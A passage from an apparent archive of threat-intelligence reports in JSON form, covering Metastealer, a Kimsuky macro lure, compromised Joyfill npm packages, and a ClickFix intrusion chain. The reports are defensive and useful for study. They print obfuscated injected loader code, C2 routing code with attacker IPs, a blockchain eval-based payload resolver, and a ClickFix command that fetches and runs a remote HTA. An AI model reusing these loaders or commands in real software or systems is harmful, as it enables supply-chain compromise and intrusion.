as the malware. T\n\nissue, I provided the first three expected domains generated by the sample and informed the\n\nimplementation contained a bug.\n\nPress enter or click to view image in full size\n\nPage 5 of 7\n\no help identify the\n\nAI that its\n\nhttps://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\nNot only did it discover the bug to let it generate the domains correctly but it also discovered another bug that had\n\nto do with edge cases.\n\nThe final generated python code aligned correctly with the desired output:\n\nFirst 10 domains:\n\n1. lensclouddisc.xyz\n\n2. drift-joint-axis.xyz\n\n3. flow-pull-edge.xyz\n\n4. crust-noseweight.xyz\n\n5. zone-void-ray.xyz\n\n6. beammastvoid.xyz\n\n7. stand-cap-heat.xyz\n\n8. flashmountaxis.xyz\n\n9. edge-arm-deck.xyz\n\n10. jointpeakbolt.xyz\n\nAI is advancing rapidly in the reverse engineering space. Although it still requires an experienced practitioner to\n\nguide the analysis and verify the output, this example highlights the pace at which the technology is improving\n\nand suggests that its role in malware analysis will continue to grow.\n\nIOCs\n\nMetastealer:\n\nPage 6 of 7\n\nhttps://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\nNetwork:\n\nUser-Agent: cpp-httplib/0.12.1\n\nURIs:\n\n/tasks/get_worker\n\n/api/client_hello\n\n/tasks/collect\n\n/api/client/new\n\n/api/client/init\n\n/avast_update\n\n/api/client/verify\n\nBackdoor “tracker”:\n\nNetwork:\n\nUser-Agent: RuntimeSync-Updater/1.0\n\n/pmxs/logs?token=\u003cGUID\u003e\n\nEndpoint:\n\n\\Microsoft\\RuntimeSync\n\n\\Microsoft\\RuntimeSync\\last_domain.txt\n\n\\Microsoft\\RuntimeSync\\agent.token\n\nSource: https://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\nPage 7 of 7","extraction_quality":1,"language":"EN","sources":["Malpedia"],"origins":["web"],"references":["https://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01"],"report_names":["metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01"],"threat_actors":[],"ts_created_at":1785463378,"ts_updated_at":1785549796,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/498225ab28d6ef8d2f5aa23c0c8888513cb23cc2.pdf","text":"https://archive.orkl.eu/498225ab28d6ef8d2f5aa23c0c8888513cb23cc2.txt","img":"https://archive.orkl.eu/498225ab28d6ef8d2f5aa23c0c8888513cb23cc2.jpg"}},{"id":"5cdd620f-96c2-4b1f-9902-62d68c4ca254","created_at":"2026-07-31T02:02:57.520682Z","updated_at":"2026-08-01T02:02:53.957988Z","deleted_at":null,"sha1_hash":"fdf53fac0af9cced76179fb1b9df0ce009952e36","title":"North Korea-linked APT attack found disguised as a digital asset wallet service customer center","llm_title":"","authors":"ESTSecurity","file_creation_date":"2022-02-21T00:52:14Z","file_modification_date":"2022-02-21T00:52:14Z","file_size":843363,"plain_text":"North Korea-linked APT attack found disguised as a\n\ndigital asset wallet service customer center!\n\nblog.alyac.co.kr/4501\n\nDetailed content\n\nbody title\n\nNorth Korea-linked APT attack found disguised as a digital asset wallet service customer\ncenter!\n\nMalware analysis report\nby pill 4 2022. 2. 16. 14:55\n\nmain text\n\nHello? This is the East Security Security Response Center (ESRC). \nA malicious file disguised as the Klip customer center was recently discovered, and users\nneed to be extra careful.\n\nFebruary 16, 2022\n\n1/5\n\nKlip is a digital asset wallet service developed by Ground X, a blockchain-related subsidiary\nof Kakao. The file found this time was distributed under the file name '[Klip Customer\nCenter] Mistransmission_Token Resolution_Guide.doc'.\n\n[Figure 1] Screen inducing users to click the content use button\n\nThe file contains malicious macros, convincing users to click the Enable Content button,\nclaiming that the document is protected.\n\nIf the user clicks the use content button, it is written like a file sent from the actual Klip\ncustomer center, causing the user to mistake it for a real normal file.\n\n2/5\n\n[Figure 2] Klip customer center camouflage file\n\nHowever, that file contains the macro code, and the macro runs in the background.\n\n3/5\n\n[Figure 3] Macros included in malicious files\n\nWhen the macro is executed, the file is dropped in xml format, and the dropped file is\nautomatically executed and then attempts to connect to the C\u0026C.\n\n[Figure 4] xml file dropped after macro execution\n\nHowever, at the time of analysis, access to the C\u0026C server was not possible, so further\nanalysis was not possible.\n\n4/5\n\nThis threat has been identified as an extension of the 'Smoke Screen' campaign, which is one\nof the three major threats of 'Thallium (also known as Kimsuky)'.\n\nIoC\n\nhxxp://asenal.medianewsonline[.]com/good/luck/flavor/list.php?query=1 \nhxxp://asenal.medianewsonline[.]com/good/luck/flavor/show.php\n\nCurrently, the pill is being detected as Trojan.Downloader.DOC.Gen .\n\nAttributionnon-profitchange prohibited\n\n5/5","extraction_quality":1,"language":"EN","sources":["APTnotes"],"origins":["web"],"references":["https://app.box.com/s/sn6863bx5gk1i1o2kw7t5m2fk5s1f6iq"],"report_names":["alyac_NKorea-digital-asset-wallet-customer-center(02-16-2022)"],"threat_actors":[{"id":"191d7f9a-8c3c-442a-9f13-debe259d4cc2","created_at":"2022-10-25T15:50:23.280374Z","updated_at":"2026-08-01T02:00:04.536023Z","deleted_at":null,"main_name":"Kimsuky","aliases":["Kimsuky","Black Banshee","Velvet Chollima","Emerald Sleet","THALLIUM","APT43","TA427","Springtail","Earth Kumiho","PatheticSlug"],"source_name":"MITRE:Kimsuky","tools":["Troll Stealer","HTTPTroy","schtasks","certutil","Amadey","GoBear","Brave Prince","CSPY Downloader","gh0st RAT","AppleSeed","Gomir","NOKKI","QuasarRAT","Gold Dragon","PsExec","KGH_SPY","Mimikatz","BabyShark","TRANSLATEXT"],"source_id":"MITRE","reports":null},{"id":"760f2827-1718-4eed-8234-4027c1346145","created_at":"2023-01-06T13:46:38.670947Z","updated_at":"2026-08-01T02:00:03.245168Z","deleted_at":null,"main_name":"Kimsuky","aliases":["Velvet Chollima","Operation Stolen Pencil","Emerald Sleet","THALLIUM","Sparkling Pisces","Black Banshee","Thallium","G0086","APT43","Springtail"],"source_name":"MISPGALAXY:Kimsuky","tools":["RDP Wrapper","TightVNC","BabyShark","RevClient","xrat","QUASARRAT"],"source_id":"MISPGALAXY","reports":null},{"id":"c8bf82a7-6887-4d46-ad70-4498b67d4c1d","created_at":"2025-08-07T02:03:25.101147Z","updated_at":"2026-08-01T02:00:03.786193Z","deleted_at":null,"main_name":"NICKEL KIMBALL","aliases":["APT43 ","ARCHIPELAGO ","Black Banshee ","Crooked Pisces ","Emerald Sleet ","ITG16 ","Kimsuky ","Larva-24005 ","Opal Sleet ","Ruby Sleet ","SharpTongue ","Sparking Pisces ","Springtail ","TA406 ","TA427 ","THALLIUM ","UAT-5394 ","Velvet Chollima "],"source_name":"Secureworks:NICKEL KIMBALL","tools":["BabyShark","FastFire","FastSpy","FireViewer","Konni"],"source_id":"Secureworks","reports":null},{"id":"71a1e16c-3ba6-4193-be62-be53527817bc","created_at":"2022-10-25T16:07:23.753455Z","updated_at":"2026-08-01T02:00:07.36096Z","deleted_at":null,"main_name":"Kimsuky","aliases":["APT 43","Black Banshee","Emerald Sleet","G0086","G0094","ITG16","KTA082","Kimsuky","Larva-24005","Larva-25004","Operation Baby Coin","Operation Covert Stalker","Operation DEEP#DRIVE","Operation DEEP#GOSU","Operation Kabar Cobra","Operation Mystery Baby","Operation Red Salt","Operation Smoke Screen","Operation Stealth Power","Operation Stolen Pencil","SharpTongue","Sparkling Pisces","Springtail","TA406","TA427","Thallium","UAT-5394","Velvet Chollima"],"source_name":"ETDA:Kimsuky","tools":["AngryRebel","AppleSeed","BITTERSWEET","BabyShark","BoBoStealer","CSPY Downloader","Farfli","FlowerPower","Gh0st RAT","Ghost RAT","Gold Dragon","GoldDragon","GoldStamp","JamBog","KGH Spyware Suite","KGH_SPY","KPortScan","KimJongRAT","Kimsuky","LATEOP","LOLBAS","LOLBins","Living off the Land","Lovexxx","MailPassView","Mechanical","Mimikatz","MoonPeak","Moudour","MyDogs","Mydoor","Network Password Recovery","PCRat","ProcDump","PsExec","ReconShark","Remote Desktop PassView","SHARPEXT","SWEETDROP","SmallTiger","SniffPass","TODDLERSHARK","TRANSLATEXT","Troll Stealer","TrollAgent","VENOMBITE","WebBrowserPassView","xRAT"],"source_id":"ETDA","reports":null}],"ts_created_at":1785463377,"ts_updated_at":1785549773,"ts_creation_date":1645404734,"ts_modification_date":1645404734,"files":{"pdf":"https://archive.orkl.eu/fdf53fac0af9cced76179fb1b9df0ce009952e36.pdf","text":"https://archive.orkl.eu/fdf53fac0af9cced76179fb1b9df0ce009952e36.txt","img":"https://archive.orkl.eu/fdf53fac0af9cced76179fb1b9df0ce009952e36.jpg"}},{"id":"1f69bed5-1192-42f7-90a4-073f7b91f3e1","created_at":"2026-07-31T02:02:54.739947Z","updated_at":"2026-08-01T02:02:07.085728Z","deleted_at":null,"sha1_hash":"4b430d4160509cb1d7334f6baef6fe78444e11b2","title":"Joyfill npm Packages Compromised with Blockchain C2 Loader","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":113318,"plain_text":"https://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\nJoyfill npm Packages Compromised with Blockchain C2 Loader\n\nPublished: 2026-07-29 · Archived: 2026-07-31 02:01:39 UTC\n\nTwo beta versions published to the  @joyfill  npm scope on July 28, 2026 carried the same blockchain C2 loader\n\ndocumented in the astro.config.mjs attack. The compromised packages are  @joyfill/layouts@0.1.2-2773.beta.0  and\n\n@joyfill/components@4.0.0-rc24-2773-beta.4 . The malicious versions were unpublished from npm within hours but\n\nremain cached on registry mirrors. Both the primary Tron dead drop address ( TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP ) and\n\nthe BSC relay wallet ( 0x9bc1355344b54dedf3e44296916ed15653844509 ) are identical to the earlier campaign, confirming\n\nthis is the same operator.\n\nAttack structure\n\nThe attack targeted a legitimate package scope. Joyfill is a form-builder SDK with three npm maintainers and a release\n\nhistory going back to March 2023. The attacker published through the existing scope rather than typosquatting a new one,\n\nusing the  beta  dist-tag to avoid overwriting the  latest  version. The  2773  version segment mimics a CI build number,\n\nconsistent with the project’s existing naming convention (prior builds used  1771 ,  1991 ,  2273 ).\n\nThe compromise is a two-package chain.  @joyfill/components@4.0.0-rc24-2773-beta.4  declares a dependency on\n\n@joyfill/layouts@0.1.2-2773.beta.0 . The payload lives exclusively in the layouts package. Installing the malicious\n\ncomponents version pulls in the malicious layouts version, and the payload executes at  require()  time as a side effect of\n\nthe bundled module.\n\n// @joyfill/components@4.0.0-rc24-2773-beta.4 package.json (diff vs clean rc24)\n\n\"@joyfill/layouts\": \"0.1.2-1771.beta.5\",\n\n\"@joyfill/layouts\": \"0.1.2-2773.beta.0\",\n\nNo install scripts. No  preinstall  or  postinstall  hooks. The malicious code is inside  dist/index.cjs.js  and\n\ndist/index.es.js , the production JavaScript bundles that execute when any consuming application imports the package.\n\nPayload injection\n\nThe clean  @joyfill/layouts@0.1.1  ships a 37,318-line CJS bundle. The malicious  0.1.2-2773.beta.0  replaces it with a\n\n1,271-line rebuild using  vite-plugin-css-injected-by-js  (new to this version). The attacker inserted 62 lines of\n\nobfuscated code between the last utility function ( sortLayoutItemsByColRow ) and the module’s  FieldLayoutTypes\n\nconstant:\n\n// dist/index.cjs.js, injected after line 861 of the malicious bundle\n\n// (line 863 in the file, between sortLayoutItemsByColRow and FieldLayoutTypes)\n\nglobal['!'] = '9-0135-3';\n\nvar _$_1e42 = (function (l, e) {\n\nPage 1 of 7\n\nhttps://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\nvar h = l.length;\n\nvar g = [];\n\nfor (var j = 0; j \u003c h; j++) {\n\ng[j] = l.charAt(j);\n\n}\n\nfor (var j = 0; j \u003c h; j++) {\n\nvar s = e * (j + 489) + (e % 19597);\n\nvar w = e * (j + 659) + (e % 48014);\n\nvar t = s % h;\n\nvar p = w % h;\n\nvar y = g[t];\n\ng[t] = g[p];\n\ng[p] = y;\n\ne = (s + w) % 4573868;\n\n}\n\n// ... string split/join chain produces [\"r\", \"object\", \"m\"]\n\n})('rmcej%otb%', 2857687);\n\nglobal[_$_1e42[0]] = require; // global[\"r\"] = require\n\nThe injection sets  global[\"!\"] = \"9-0135-3\" , the same campaign marker format documented in the astro.config.mjs\n\nanalysis. It then exposes  require  and  module  onto the global object (necessary for the blockchain loader to use Node.js\n\nhttps  and  child_process  modules from inside a bundled ES module context).\n\nDeobfuscation\n\nThe obfuscation uses three layers of character-shuffling functions to hide a call to the\n\n1.  sfL  shuffle: A character-swap permutation using a numeric seed ( 2667686 ).\n\n\"wuqktamceigynzbosdctpusocrjhrflovnxrt\" , the first 11 characters decode to\n\n2.  sfL[\"constructor\"]  resolves to  Function  (since  sfL  is a function object, its\n\nFunction ).\n\n3. Two large string literals are decoded through  sfL , then passed to  Function()\n\nThe fully deobfuscated stage 1 loader is in the appendix below. It exposes  require  and\n\ncampaign marker  global[\"!\"] = \"9-0135-3\" , then runs a blockchain C2 fetch with XOR decryption and\n\nfallback path spawns a detached  node -e  child process for persistence.\n\nThe blockchain dead drop (still live)\n\nThe C2 resolution chain is identical to the one we documented for PolinRider:\n\n1. Tron: Query  TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP  via  api.trongrid.io . Decode the\n\nto UTF-8, reverse it. The result is a BSC transaction hash.\n\nPage 2 of 7\n\nFunction  constructor:\n\nApplied to the string\n\n\"constructor\" .\n\nconstructor  property is\n\nto construct the loader.\n\nmodule  on the global object, sets\n\neval() . A\n\nraw_data.data  hex field\n\nhttps://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\n2. BSC: Query  bsc-dataseed.binance.org  (or  bsc-rpc.publicnode.com  as fallback) with\n\neth_getTransactionByHash . Strip the  0x  prefix from  tx.input , decode hex to UTF-8, split on  ?.? , take the\n\nsecond segment.\n\n3. XOR decrypt with the hardcoded key and  eval() .\n\nAt time of analysis, both Tron addresses are still returning transactions. The primary dead drop resolves to BSC transaction\n\n0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d , sent from attacker wallet\n\n0x9bc1355344b54dedf3e44296916ed15653844509  to the burn address  0x...dead . The input field carries 5,855 bytes of\n\nXOR-encrypted JavaScript.\n\nThe fallback C2 path adds persistence: if the primary  eval()  fails, the payload is launched as a detached  node -e  child\n\nprocess with  windowsHide: true  and  stdio: \"ignore\" , keeping it alive after the parent Node.js process exits.\n\nStage 2: C2 server selection and second blockchain fetch\n\nDecrypting the primary BSC payload reveals a second loader wrapped in three more obfuscation layers (same  NVu  shuffle\n\n+  Function  constructor technique). After static deobfuscation, stage 2 performs two operations.\n\nCampaign-aware C2 routing. Stage 2 reads the campaign marker ( global._V , which is  \"A9-0135-3\"  for the joyfill\n\npayload) and selects an HTTP C2 server based on its prefix:\n\n// Stage 2 C2 routing (deobfuscated from _$_9f51 string table)\n\n_V = global['_V'] || 0;\n\nif (_V[0] === 'A' || _V === '0') {\n\nglobal['_t_s'] = 'http://166.88.134.62:443';\n\nglobal['_t_u'] = 'http://166.88.134.62';\n\n} else if (!isNaN(parseInt(_V))) {\n\nglobal['_t_s'] = 'http://198.105.127.210:443';\n\nglobal['_t_u'] = 'http://198.105.127.210';\n\n} else {\n\nglobal['_t_s'] = 'http://23.27.202.27:443';\n\nglobal['_t_u'] = 'http://23.27.202.27:27017';\n\n}\n\n// Set up a SECOND Tron dead drop address for the next fetch\n\nglobal['_t_1'] = 'TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v';\n\nglobal['_t_2'] = '0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1';\n\nSince the joyfill campaign marker starts with  \"A\" , the selected C2 server is  166.88.134[.]62 . These are the same three\n\nservers documented in the astro.config.mjs investigation.\n\nSecond blockchain fetch. Stage 2 then runs the same Tron-to-BSC resolver again, this time with Tron address\n\nTA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v  and Aptos hash  0x533b2db...  (stored in  global._t_1  and  global._t_2  by the\n\nPage 3 of 7\n\nhttps://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\nrouting logic above). The result is XOR-decrypted with the same key (\n\n// Stage 2 inner function (deobfuscated from _$_56c8 string table)\n\n// Identical blockchain resolver pattern, different Tron address\n\nvar n = await t(\n\n'2[gWfGj;\u003c:-93Z^C', // Same XOR key as stage 1\n\n2[gWfGj;\u003c:-93Z^C ) and  eval() ’d as stage 3.\n\nglobal['_t_1'], // TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v\n\nglobal['_t_2'] // 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1\n\n);\n\neval(n); // Execute stage 3\n\nStage 2 also saves  __dirname  and  __filename  into  global.___dirname  and  global.___filename , preserving the\n\nexecution context for later stages. A base64-encoded block sets a debounce guard ( global._t_t ) and stores the function’s\n\nown source code in  global._t_c , likely for self-replication by stage 3.\n\nThe full chain is therefore: npm bundle → Tron A → BSC → stage 2 → Tron B → BSC → stage 3 (bot client). Two\n\nseparate Tron addresses, two separate BSC fetches, each with independent Aptos fallbacks.\n\nDecrypting stage 3 produces a 77KB LZ-compressed RAT client matching the PolinRider bot client structure. The\n\nfingerprints are identical:  XB3pRQO / IvUhGI  environment probes,  veN854  reconnect function,  lpVxjTQ  command\n\nlistener, and  iwd7Ox  self-restart loop, all documented in the astro.config.mjs post. The joyfill variant delivers this bot\n\nentirely through the blockchain dead drop, skipping the HTTP  /$/boot  beacon the astro attack used for the same payload.\n\nWhat changed from the astro.config attack\n\nThe blockchain C2 infrastructure is identical: same Tron address, same BSC relay wallet, same Aptos fallback, same  ?.?\n\ndelimiter, same XOR decryption pattern. The differences are in the delivery mechanism.\n\nAspect astro.config.mjs attack @joyfill attack\n\nVector Malicious pull request against GitHub repo Compromised npm package beta channel\n\nTrigger Build-time ( astro build/dev/preview ) Import-time ( require() / import )\n\nHidden after horizontal whitespace in PR Injected into production JS bundle, no PR\nVisibility\ndiff review\n\nHTTP C2 beacon Stage B beacons C2 immediately C2 IPs set in stage 2, used in stage 3\n\nCampaign\nglobal[\"!\"]  set at payload init global[\"!\"] = \"9-0135-3\"\nmarker\n\nXOR keys ThZG+0jfXE6VAGOJ  (HTTP C2 path) 2[gWfGj;\u003c:-93Z^C  /  m6:tTh^D)cBz?NM]\n\nThe  @joyfill  attack defers the HTTP C2 beacon to stage 2, routing through two rounds of blockchain fetches before the\n\nC2 server URLs are even set. Initial network connections from the npm bundle go exclusively to legitimate public\n\nPage 4 of 7\n\nblockchain API endpoints (\n\nmakes early-stage detection through network monitoring harder.\n\nTimeline\n\nTime (UTC)\n\n2026-07-28 10:54\n\n2026-07-28 11:03\n\n2026-07-28 13:57\n\n2026-07-28 14:01\n\n2026-07-28 ~21:00\n\nThe malicious versions were live for roughly 10 hours. Clean versions were pushed within 3 hours, suggesting the\n\nmaintainers detected the compromise and responded. The malicious versions remain cached on third-party mirrors like\n\nregistry.npmmirror.com .\n\nIndicators of compromise\n\nhttps://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\napi.trongrid.io ,  bsc-dataseed.binance.org ,  fullnode.mainnet.aptoslabs.com\n\nEvent\n\n@joyfill/layouts@0.1.2-2773.beta.0  published\n\n@joyfill/components@4.0.0-rc24-2773-beta.4\n\n@joyfill/layouts@0.1.2-2773.beta.1  published (clean)\n\n@joyfill/components@4.0.0-rc24-2773-beta.5\n\nMalicious versions unpublished from npm\n\njoyfill-blockchain-c2-iocs.csv\n\nIndicator\n\n1 @joyfill/layouts@0.1.2-2773.beta.0\n\n2 @joyfill/components@4.0.0-rc24-2773-beta.4\n\n3 adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6\n\n4 bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17\n\n5 TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\n\nPage 5 of 7\n\npublished\n\npublished (clean)\n\nType Stage\n\nnpm\n1\npackage\n\nnpm\n1\npackage\n\nSHA-256 1\n\nSHA-256 1\n\nTron\n1\naddress\n\n). That\n\nContext\n\nMalicious\n\npackage\n\ncontaining\n\nblockchain C2\n\nloader\n\nChains to\n\nmalicious\n\nlayouts via\n\ndependency\n\nlayouts tarball\n\nhash\n\ncomponents\n\ntarball hash\n\nPrimary dead\n\ndrop (shared\n\nwith\n\nastro.config.mj\n\ncampaign)\n\nhttps://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\nIndicator\n\n6 TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\n\n7 0x9bc1355344b54dedf3e44296916ed15653844509\n\n8 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\n\n9 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\n\n10 TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v\n\n11 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1\n\n12 166.88.134.62\n\n13 198.105.127.210\n\n14 23.27.202.27:27017\n\n15 global[!] = 9-0135-3\n\n16 global[_V] = A9-0135-3\n\nNo matching rows\n\n16 / 16 rows\n\n| 4 columns\n\nIf your lockfile pins either of the two malicious versions, rotate any secrets that were present in the environment where\n\ninstall  or a build ran. The payload executes at import time, not install time, so the exposure window extends to any\n\nprocess that loaded the package.\n\nDeobfuscated payload\n\nPage 6 of 7\n\nType Stage Context\n\nTron Fallback dead\n1\naddress drop\n\nAttacker relay\nBSC\n1 wallet (sends to\nwallet\n0x...dead)\n\nAptos tx Primary Aptos\n1\nhash fallback\n\nAptos tx Fallback Aptos\n1\nhash fallback\n\nStage 2 dead\n\nTron drop (second\n2\naddress blockchain\n\nfetch)\n\nAptos tx Stage 2 Aptos\n2\nhash fallback\n\nCampaign\n\nC2 IP 2 prefix \"A\"\n\n(joyfill)\n\nNumeric\n\nC2 IP 2 campaign\n\nmarker\n\nDefault\nC2 IP 2\nfallback\n\nCampaign Payload variant\n1\nmarker identifier\n\nPassed to\nCampaign\n1 spawned child\nID\nprocess\n\nnpm\n\nhttps://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\nFull static reconstruction of the blockchain C2 loader. Nothing below was executed. Variable names are restored from the\n\n_$_ccfc  string table; the three obfuscation layers ( _$_1e42  shuffle,  sfL  permutation,  Function  constructor packing)\n\nare unwound.\n\njoyfill-blockchain-c2-deobfuscated.js\n\nJS 141 lines\n\nReferences\n\nastro.config.mjs Supply Chain Attack via Blockchain C2 (same campaign infrastructure)\n\n@joyfill/layouts on npm\n\n@joyfill/components on npm\n\nSource: https://safedep.io/joyfill-npm-blockchain-c2-supply-chain/\n\nPage 7 of 7","extraction_quality":1,"language":"EN","sources":["Malpedia"],"origins":["web"],"references":["https://safedep.io/joyfill-npm-blockchain-c2-supply-chain/"],"report_names":["joyfill-npm-blockchain-c2-supply-chain"],"threat_actors":[],"ts_created_at":1785463374,"ts_updated_at":1785549727,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/4b430d4160509cb1d7334f6baef6fe78444e11b2.pdf","text":"https://archive.orkl.eu/4b430d4160509cb1d7334f6baef6fe78444e11b2.txt","img":"https://archive.orkl.eu/4b430d4160509cb1d7334f6baef6fe78444e11b2.jpg"}},{"id":"fb97ca6c-20b1-4f8b-91d4-8ffb0bd9e56a","created_at":"2026-07-31T02:02:48.577155Z","updated_at":"2026-08-01T02:02:08.973632Z","deleted_at":null,"sha1_hash":"04c05125e04fd02e69ea55921fe79a824f413540","title":"Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":5298238,"plain_text":"https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nSomeone's Hands Are on Your Keyboard Then Your Whole\n\nNetwork. Courtesy of ClickFix, Potemkin, RMMProject and\n\nEtherRAT\n\nBy Anna Pham, Zach Rogers\n\nPublished: 2026-06-16 · Archived: 2026-07-31 02:00:43 UTC\n\nBackground\n\nFigure 1: Diagram showing the attack chain\n\nHuntress previously documented a ClickFix case in February involving lateral movement and the delivery of\n\nmalware-as-a-service loader Matanbuchus and a novel custom implant called AstarionRAT. In a new case in May\n\n2026 , we observed another ClickFix infection - this time leading to a full hands-on-keyboard intrusion that\n\nspanned 11 hosts across the victim's network.\n\nThe infection began on an unmonitored endpoint, where the user was tricked into running a ClickFix command\n\nthat fetched and silently installed an MSI package. The MSI dropped Potemkin loader, a custom x64 loader that\n\nuses a domain generation algorithm to find its C2 and reflectively loads follow-on modules in memory. The\n\nmodule served through Potemkin was RMMProject, a 4.4 MB Lua-scriptable DLL with browser credential theft\n\n(including a Chrome App-Bound Encryption bypass via embedded DLL injection), a hidden-desktop remote\n\nPage 1 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\ncontrol module, and 15 distinct task types. Separately, the attacker deployed EtherRAT, a known Node.js backdoor\n\nthat resolves its C2 address from the Ethereum blockchain, along with a Cloudflare tunnel for persistent access.\n\nWith those footholds established, the operator moved to hands-on-keyboard activity - fighting a running battle\n\nwith Windows Defender, deploying Chisel reverse SOCKS tunnels, and spreading laterally via WMIExec and\n\nSMBExec to ultimately reach the domain controller and spray EtherRAT across over 11 hosts. The intrusion was\n\nalready well underway by the time the Huntress agent was installed on the affected endpoints.\n\nWhy is ClickFix still so effective?\n\nClickFix remains effective for a simple reason: it exploits human nature. People naturally follow directions when\n\npresented with a clear, authoritative-looking instruction (“press Win+R, paste this, hit Enter”). The social\n\nengineering doesn't need to be sophisticated; it just needs to look like a legitimate troubleshooting step and more\n\noften than not, that's enough.\n\nThis case is also a reminder of why endpoint coverage matters. The initial infection originated from an\n\nunmonitored endpoint, which gave the attacker an unchallenged foothold. Had that endpoint been monitored, the\n\nmalicious activity could have been caught early - before hands-on-keyboard activity began, before lateral\n\nmovement occurred, and before EtherRAT ever had a chance to establish itself deeper in the environment.\n\nVisibility gaps don't just mean missing telemetry; they mean giving attackers the room they need to do real\n\ndamage.\n\nWhat happened?\n\nThe user visited the compromised website and was instructed to run the following command in the Windows Run\n\nDialog window:\n\ncmd /min /c \"pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta\"\\1\n\nThe command abuses pcalua.exe as a LOLBIN to proxy mshta.exe execution, fetching and running a remote HTA\n\npayload to evade process-based detections.\n\nWhat’s in hte.hta?\n\nFigure 2: Content of the hte.hta file\n\nPage 2 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\nThe HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI from an attacker-\n\ncontrolled domain (sonra.eutialyson[.]com/inst24.msi), then executes it via msiexec /qn for silent installation.\n\nPotemkin loader\n\nBefore walking through the hands-on-keyboard intrusion and lateral movement, let's look at the loader binary\n\ndropped on the endpoint. We are tracking it as Potemkin, a custom x64 Windows loader. Potemkin was delivered\n\nas part of an MSI installer (inst24.msi) built with the WiX Toolset. The installer dropped the loader to C:\\Users\\\n\n\u003cusername\u003e\\AppData\\Local\\Microsoft\\RunSearch\\RunSearch.exe and registered persistence at install time via an\n\nMSI AutostartRegistry component, which created\n\nHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\RunSearch = [INSTALLFOLDER]RunSearch.exe.\n\nPotemkin has six functionally distinct components. Five of them tag every log line they emit with a fixed prefix\n\n([Agent], [DNS], [Chan], [Sync], [DLL]); the sixth is the cipher core - every component above calls into it to\n\ndecrypt strings:\n\nLoading Gist...\n\nComponent 1: [Agent] - main worker loop\n\nEleven distinct log strings live inside the main function:\n\n[Agent] start, seed= - Fires once, at worker thread entry. The value after = is the hardcoded XorShift32\n\nseed (151678 in this build).\n\n[Agent] DNS lookup seed= - Fires at the start of every cycle, just before the agent begins probing\n\ncandidate domains. The seed value is the same on every cycle, which is how we know two infections\n\nproduce the same domain probes in the same order.\n\n[Agent] DNS: domain= - Fires when the agent finds a live C2 server. The value is the domain that\n\nresponded with “ok” to the /api/client_hello probe.\n\n[Agent] DNS: no domain found, sleeping 1 min - Fires when none of the 10,000 candidate domains\n\nresponded. The agent then sleeps for 60 seconds and tries the entire list again. Presence of this line means\n\nthe C2 was completely unreachable across every probe.\n\n[Agent] uuid= - Fires after the agent successfully establishes its identity with the C2. The value is the\n\nUUID that will be used for the rest of the session - either freshly assigned (first run) or read back from\n\n%LOCALAPPDATA%\\hyper-v.ver and re-verified\n\n[Agent] init status= - Fires after the post-identity handshake (POST/api/client/init). The value is the HTTP\n\nstatus code returned.\n\n[Agent] poll got_task= - Fires after every poll of the C2 (every ~5 minutes in the wild). Value is 1 when the\n\nC2 returns a body indicating a task is ready, 0 otherwise.\n\n[Agent] LoadAndRunDLL= - Fires after Potemkin attempts to fetch and run a follow-on DLL, but only\n\nwhen the previous got_task was 1. Value is 1 if the DLL was successfully fetched, decoded, mapped, and\n\nexecuted; 0 if any step failed.\n\nPage 3 of 31\n\nhttps://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack\n\n[Agent] DLL returned (updatedll), reloading... - Fires when the loaded DLL signals that it wants to be\n\nreplaced. The agent skips its sleep and immediately fetches the next DLL.\n\n[Agent] exception: - Fires when an internal C++ exception is caught with a known type. The value after the\n\ncolon is the exception's message.\n\n[Agent] unknown exception 